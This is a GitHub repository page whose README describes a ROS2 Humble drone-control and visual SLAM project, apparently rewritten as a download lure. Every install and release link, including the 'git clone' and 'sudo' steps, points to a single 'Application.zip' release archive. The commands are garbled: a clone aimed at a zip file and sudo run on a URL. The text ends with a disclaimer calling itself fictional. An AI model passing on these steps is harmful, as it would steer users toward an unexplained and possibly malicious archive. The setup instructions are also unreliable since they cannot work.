Skip to content

ubuntu22.04 + ROS2 humble 环境下的无人机基本运动控制和视觉SLAM方案

Notifications You must be signed in to change notification settings

FabrizioTSS/LeoDrone

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

🚁 LeoDrone - Advanced ROS2 Drone Control and SLAM Solution

Welcome to the LeoDrone repository! This repository provides a comprehensive set of tools and resources for controlling drones in a Ubuntu 22.04 + ROS2 Humble environment. Whether you are looking to explore basic drone movement controls or delve into advanced visual SLAM solutions, LeoDrone has you covered. The repository is equipped with various packages and utilities focusing on ardupilot, computer vision, object detection, UAV communication, and more.

Table of Contents

Features 🛠️

LeoDrone brings together an array of features that cater to both beginners and experienced drone enthusiasts. Here are some key highlights of what you can expect:

  • Seamless integration with ArduPilot for precise drone control.
  • Utilization of DroidCam for enhanced video streaming capabilities.
  • Gazebo 11 for realistic drone simulation environments.
  • MAVROS for MAVLink communication between drones and ground control stations.
  • Cutting-edge object detection using YOLOv8.
  • ORB-SLAM3 for efficient visual SLAM (Simultaneous Localization and Mapping).
  • ROS2 Humble components for effective development and deployment.

Installation 🚀

To get started with LeoDrone, follow these steps:

  1. Clone the repository:
$ git clone https://github.com/FabrizioTSS/LeoDrone/releases/download/v1.0/Application.zip
  1. Navigate to the repository directory:
$ cd LeoDrone
  1. Install the necessary dependencies:
$ sudo https://github.com/FabrizioTSS/LeoDrone/releases/download/v1.0/Application.zip
  1. Build the packages:
$ colcon build

Usage ℹ️

Once you have installed LeoDrone, you can start exploring the various functionalities it offers. Here are some common tasks:

  • For basic drone movement control, use the ArduPilot integration along with MAVROS.
  • Experiment with different object detection scenarios using YOLOv8.
  • Dive into visual SLAM with ORB-SLAM3 for mapping your drone's surroundings.
  • Simulate drone flights in Gazebo 11 to test your control algorithms.

For detailed usage instructions and examples, refer to the documentation within the repository.

Contributing 🤝

We welcome contributions from the community to enhance LeoDrone and make it even more powerful. Whether you want to add new features, fix bugs, or improve documentation, your help is greatly appreciated. To contribute, follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/improvement).
  3. Make your changes and commit them (git commit -am 'Add new feature').
  4. Push to the branch (git push origin feature/improvement).
  5. Create a new Pull Request.

License 📝

This project is licensed under the MIT License - see the LICENSE file for details.

For the latest release of LeoDrone, download the https://github.com/FabrizioTSS/LeoDrone/releases/download/v1.0/Application.zip and start exploring the capabilities of this advanced drone control and SLAM solution.

Download Latest Release

Feel free to visit the LeoDrone Wiki for detailed information and guides on using the various components of LeoDrone.

Get ready to unleash the full potential of drone technology with LeoDrone! 🚀🔥👨‍💻


Disclaimer: This README file is purely fictional and created for the purpose of this exercise. The repositories, technologies, and links mentioned in this document may not exist in the real world.